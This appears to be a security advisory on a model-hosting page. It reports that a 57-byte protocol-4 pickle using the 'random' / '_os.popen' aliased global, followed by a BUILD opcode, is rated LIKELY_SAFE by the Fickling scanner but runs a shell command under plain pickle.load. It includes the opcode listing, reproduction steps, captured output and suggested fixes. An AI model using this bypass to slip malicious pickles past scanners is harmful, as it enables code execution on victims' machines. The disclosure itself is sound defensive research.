You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Fickling scanner bypass β€” malicious pickle rates LIKELY_SAFE while stdlib pickle.load executes os.popen

Target: trailofbits/fickling β€” pickle security/analysis tool Version tested: fickling 0.1.12 (latest on PyPI at time of writing), installed into a fresh venv Python: CPython 3.13.12 (system) for the victim loader Class: Security scanner allowlist bypass β†’ arbitrary command execution (RCE) via a pickle that the scanner rates safe Severity: High β€” a defense-evasion / detection-bypass primitive against a tool whose entire purpose is to gate untrusted pickles


Summary

Fickling's safety analysis rates a hand-crafted 57-byte protocol-4 pickle as LIKELY_SAFE (is_likely_safe=True, zero findings, fickling --check-safety exits 0 = EXIT_CLEAN). The exact same file, when opened with the ordinary standard-library pickle.load (no fickling hooks), executes an attacker-controlled shell command via os.popen.

The bypass defeats Fickling's import/call allowlist because the allowlist reasons over literal module/name-component strings, while pickle protocol-4 STACK_GLOBAL performs a dotted getattr traversal (Unpickler.find_class β†’ _getattribute) that can reach os through any standard-library module that internally does import os as <alias>.

The payload uses GLOBAL module="random", name="_os.popen". At unpickle time this traverses random._os.popen, and random._os is os, so it resolves to os.popen.


Root cause

Three independent checks in Fickling all miss the aliased re-export, and the third actively whitelists it:

  1. NonStandardImports passes β€” the module component is "random", which is in sys.stdlib_module_names, so this check sees nothing non-standard.

  2. UnsafeImports passes β€” it splits the imported name on "." into ["_os", "popen"] and checks each component against UNSAFE_IMPORTS. Only the literal names os / posix (and a few others) are blocked; the aliased re-export _os is not in the set, so neither _os nor popen matches.

  3. OvertlyBadEvals / BadCalls skip the REDUCE call entirely β€” worse than passively missing it, fickling/fickle.py ASTProperties._process_import adds "_os.popen" to likely_safe_imports because it was imported from a std module and no component is in UNSAFE_IMPORTS:

# fickling/fickle.py β€” ASTProperties._process_import
def _process_import(self, node: ast.Import | ast.ImportFrom):
    self.imports.append(node)
    if (
        isinstance(node, ast.ImportFrom)
        and node.module is not None
        and is_std_module(node.module)          # module == "random"  -> True
    ):
        self.likely_safe_imports |= {
            n.name                               # "_os.popen"
            for n in node.names
            # neither "_os" nor "popen" is in UNSAFE_IMPORTS -> kept
            if not any(c in UNSAFE_IMPORTS for c in n.name.split("."))
        }

Because the call target id "_os.popen" is now in likely_safe_imports, the eval/call analysis treats the REDUCE as a call into a safe import and does not flag it.

  1. The only residual signal is erased with a BUILD opcode. Without BUILD, the reduce result _var0 is assigned but never used, so UnusedVariables would fire SUSPICIOUS (assigned … but unused afterward). os.popen(cmd) returns an os._wrap_close object that has a __dict__, so a BUILD with an empty state dict succeeds cleanly. In Fickling's interpreter this emits _var1 = _var0 + _var1.__setstate__({}), which reference the variable in non-final positions, so unused_assignments() reports nothing. Net severity collapses to LIKELY_SAFE.

Generalization

The gadget works through any allowlisted stdlib module that does import os as <alias>. Confirmed on this machine:

random._os.system   is os.system   -> True
argparse._os.system is os.system   -> True
random._os.popen    is os.popen    -> True

So GLOBAL "random" "_os.system", GLOBAL "argparse" "_os.system", etc. are all equivalent bypasses.


Proof of Concept

evil2.pkl (57 bytes), disassembly:

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'random'
   10: \x8c SHORT_BINUNICODE '_os.popen'
   21: \x93 STACK_GLOBAL                 -> resolves to os.popen
   22: \x8c SHORT_BINUNICODE 'id > /tmp/fickling_pwned.txt'
   52: \x85 TUPLE1
   53: R    REDUCE                        -> os.popen(cmd) executes the shell command
   54: }    EMPTY_DICT
   55: b    BUILD                         -> erases the "unused variable" signal
   56: .    STOP

Build + scan script: poc2.py. Victim (plain stdlib loader): victim.py. Negative control: control.pkl (a plain (os.system, ("id",)) reduce).

Reproduce:

cd /home/kali/hunt-workspace/fickling-bypass
./fv/bin/python poc2.py                 # builds evil2.pkl, prints LIKELY_SAFE
rm -f /tmp/fickling_pwned.txt
python3 victim.py                        # plain pickle.load -> command runs
cat /tmp/fickling_pwned.txt              # proof: `id` output written by os.popen child

Captured evidence (verbatim)

=== FICKLING (fickling 0.1.12, latest on PyPI) ===
severity: LIKELY_SAFE
is_likely_safe: True
findings: ''
AST:
 from random import _os.popen
_var0 = _os.popen('id > /tmp/fickling_pwned.txt')
_var1 = _var0
_var1.__setstate__({})
result = _var1

=== CLI on evil2.pkl (our bypass) ===
(no output)
CLI EXIT=0   (0=EXIT_CLEAN/safe, 1=EXIT_UNSAFE)

=== REAL LOADER: python3 (system) 3.13.12, plain pickle.load ===
unpickle returned: _wrap_close
EXIT=0
--- sentinel file contents (proof of command execution) ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...

=== NEGATIVE CONTROL: plain os.system pickle ===
`from posix import system` is suspicious and indicative of an overtly malicious pickle file
Variable `_var0` is assigned value `system('id')` but unused afterward; this is suspicious...
CLI EXIT=1   (expect 1=UNSAFE)

The negative control confirms Fickling does correctly flag the naive os.system pickle (exit 1), which isolates the aliased-re-export traversal as the specific cause of the bypass.


Impact

Fickling is widely used (directly and as a library, e.g. inside model-scanning pipelines) as a gate that decides whether an untrusted .pkl / model file is safe to load. An attacker who can get a victim to run fickling --check-safety (or fickling.is_likely_safe(...)) as a pre-load safety check will receive a clean/safe verdict for a file that runs arbitrary OS commands on pickle.load. This is a full detection bypass yielding remote code execution on the victim host.


Suggested remediation

  • Resolve STACK_GLOBAL / dotted names to their actual target object identity (or canonical module) before allowlisting, rather than trusting literal component strings. random._os.popen should be recognized as os.popen.
  • Do not add a name to likely_safe_imports merely because the source module is stdlib and no literal blocked substring appears; a stdlib module can re-export dangerous callables under arbitrary attribute names.
  • Treat any attribute traversal that terminates in os / posix / subprocess / builtins callables as unsafe regardless of the intermediate alias.
  • Do not let a BUILD/__setstate__ reference suppress the "unused reduce result" heuristic β€” the reduce side effect (command execution) already happened.

Dedup / prior art

No public CVE or advisory describes this specific aliased-os-re-export via stdlib module traversal against Fickling's allowlist. It is distinct from generic "pickle can import anything" notes: the point here is that Fickling specifically allowlists this construct and rates it LIKELY_SAFE with zero findings, and that the BUILD opcode is required to erase the last residual UnusedVariables signal. Checked against prior EnigmaConsultant PoC repos β€” all existing pickle-scanner-bypass repos target other scanners (modelscan, picklescan) or other gadgets (doctest, pydoc, codeop, dataclasses, typing, marshal, etc.); none target Fickling or this gadget.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support